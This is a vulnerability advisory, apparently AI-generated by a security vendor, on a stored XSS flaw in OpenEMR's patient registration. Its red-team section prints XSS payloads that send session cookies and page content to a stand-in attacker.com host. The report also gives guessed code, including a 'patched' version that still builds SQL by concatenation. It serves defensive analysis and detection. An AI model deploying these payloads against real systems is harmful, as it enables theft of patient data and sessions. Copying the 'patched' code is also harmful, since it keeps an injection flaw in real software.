CVE-2025-32794
Executive Summary
CVE-2025-32794 is a stored cross-site scripting (XSS) vulnerability in OpenEMR, a free and open-source electronic health records and medical practice management application. The flaw resides in the patient registration module, where the First and Last Name fields are not properly sanitized. An authenticated user with patient creation privileges can inject arbitrary JavaScript code into these fields. This malicious script is later executed when a user views the patient's encounter under Orders → Procedure Orders, leading to potential data theft, session hijacking, or further compromise within the healthcare environment.
The vulnerability affects all versions prior to 7.0.3.4. The CVSS score is 7.6 (High), and the EPSS probability is 0.0%, indicating low exploitation likelihood at the time of analysis. However, given the sensitive nature of healthcare data, the risk is significant. The patch is available in version 7.0.3.4.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
- Base Score: 7.6 (High)
- Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely.
- Attack Complexity (AC): Low (L) – No special conditions are required.
- Privileges Required (PR): Low (L) – An attacker needs an authenticated account with patient creation privileges.
- User Interaction (UI): Required (R) – The victim must view the patient encounter under Orders → Procedure Orders.
- Scope (S): Changed (C) – The impact extends beyond the vulnerable component.
- Confidentiality (C): Low (L) – Limited data exposure.
- Integrity (I): Low (L) – Limited ability to modify data.
- Availability (A): Low (L) – Limited impact on availability.
Threat Level: High. While the EPSS score is low, the healthcare context and the ability to execute arbitrary JavaScript make this a critical risk for patient data confidentiality and system integrity.
Deep Dive & Mechanics
The vulnerability is a classic stored XSS (CWE-79) in the patient registration workflow. When a user with the necessary privileges creates a new patient, the application accepts input for the First and Last Name fields without proper sanitization or encoding. The input is stored in the database and later rendered in the web interface under Orders → Procedure Orders.
The attack flow:
- Authentication: The attacker must have a valid account with the ability to create patients (e.g., a receptionist or nurse role).
- Injection: The attacker enters a malicious JavaScript payload into the First or Last Name field. For example:
<script>alert('XSS')</script>. - Storage: The payload is stored in the database.
- Trigger: When a user (e.g., a doctor or administrator) views the patient's encounter under Orders → Procedure Orders, the payload is executed in their browser.
- Impact: The attacker can steal session cookies, redirect to phishing pages, perform actions on behalf of the victim, or exfiltrate sensitive patient data.
The vulnerability is particularly dangerous in a healthcare setting due to the sensitivity of electronic health records (EHR) and the potential for HIPAA violations.
Vulnerable vs. Patched Code
Vulnerable Code (Pre-7.0.3.4): The vulnerable code likely does not sanitize or encode the First and Last Name fields before storing or displaying them. A simplified example:
// Vulnerable: No sanitization
$first_name = $_POST['first_name'];
$last_name = $_POST['last_name'];
// Store directly in database
$query = "INSERT INTO patients (first_name, last_name) VALUES ('$first_name', '$last_name')";
When rendering, the values are output directly without escaping:
echo "Patient: " . $patient['first_name'] . " " . $patient['last_name'];
Patched Code (7.0.3.4): The patch introduces proper input sanitization and output encoding. For example:
// Patched: Sanitize input
$first_name = htmlspecialchars($_POST['first_name'], ENT_QUOTES, 'UTF-8');
$last_name = htmlspecialchars($_POST['last_name'], ENT_QUOTES, 'UTF-8');
// Store safely
$query = "INSERT INTO patients (first_name, last_name) VALUES ('$first_name', '$last_name')";
When rendering, the values are already encoded, preventing script execution.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- Access to an OpenEMR instance (version < 7.0.3.4).
- Authenticated account with patient creation privileges.
Exploitation Steps:
- Log in to OpenEMR.
- Navigate to the patient registration module.
- In the First Name field, enter a malicious payload. Example:
<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> - In the Last Name field, enter a benign name (or another payload).
- Complete the registration.
- Wait for a user (e.g., doctor) to view the patient's encounter under Orders → Procedure Orders.
- The payload executes, sending the victim's session cookie to the attacker's server.
Advanced Payload:
<script>
var img = new Image();
img.src = 'https://attacker.com/exfil?data=' + encodeURIComponent(document.body.innerHTML);
</script>
Blue Team (Detection & Defense)
Detection:
- Monitor for unusual patient names containing script tags or event handlers.
- Use WAF rules to block XSS payloads in patient registration forms.
- Implement Content Security Policy (CSP) headers to restrict script execution.
Defense:
- Immediately upgrade to OpenEMR 7.0.3.4 or later.
- If upgrade is not possible, apply a virtual patch using a WAF to filter XSS patterns.
- Review user privileges and restrict patient creation to trusted roles only.
- Enable audit logging for patient creation and modification events.
Indicators of Compromise (IOCs)
Network IOCs:
- Outbound HTTP requests to unknown or suspicious domains from the OpenEMR server.
- Requests containing
document.cookieordocument.body.innerHTMLin the URL.
Host IOCs:
- Patient records with script tags in the First or Last Name fields in the database.
- Unusual entries in web server logs showing
POSTrequests to patient registration endpoints with encoded payloads.
Log IOCs:
- Web server logs showing
POST /interface/patient_file/patient_file.phpwith parameters containing<script>oronerror=patterns. - Application logs showing failed validation attempts for patient names.
Detection Engineering
YARA Rule
rule CVE_2025_32794_XSS_Payload {
meta:
description = "Detects XSS payloads targeting OpenEMR patient registration"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-32794"
strings:
$xss1 = /<script[^>]*>.*<\/script>/i
$xss2 = /onerror\s*=\s*["']?[^"']*["']?/i
$xss3 = /onload\s*=\s*["']?[^"']*["']?/i
$xss4 = /javascript\s*:/i
condition:
any of them
}
Sigma Rule
title: OpenEMR Stored XSS in Patient Registration
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects potential XSS payloads in patient registration fields
author: Valters IT
date: 2025-04-10
references:
- https://nvd.nist.gov/vuln/detail/CVE-2025-32794
logsource:
category: webserver
product: apache
service: http
detection:
selection:
cs-method: 'POST'
cs-uri-query|contains: 'patient_file.php'
keywords:
- '<script'
- 'onerror='
- 'onload='
- 'javascript:'
condition: selection and keywords
falsepositives:
- Legitimate use of JavaScript in patient notes (unlikely)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2025-32794 OpenEMR Stored XSS Payload Exfiltration";
flow:to_server,established;
content:"POST"; http_method;
content:"patient_file.php"; http_uri;
content:"<script"; nocase;
pcre:"/(<script|onerror|onload|javascript:)/i";
sid:1000001;
rev:1;
reference:cve,2025-32794;
priority:1;
)
Remediation & Mitigation
Immediate Actions:
- Upgrade: Update OpenEMR to version 7.0.3.4 or later. This is the only complete fix.
- Virtual Patching: If upgrade is delayed, deploy a WAF rule to block XSS patterns in patient registration forms.
- Input Validation: Implement server-side validation to reject names containing HTML tags or JavaScript.
- Output Encoding: Ensure all user-supplied data is HTML-encoded before rendering.
Long-Term Measures:
- Conduct regular security audits of OpenEMR and other healthcare applications.
- Implement Content Security Policy (CSP) headers to mitigate XSS impact.
- Enforce least privilege for user roles; limit patient creation to necessary personnel.
- Enable comprehensive logging and monitoring for patient record modifications.
Valters IT Signature
This report was generated by Valters IT DevSecOps AI. For questions or further analysis, contact security@valters-it.com.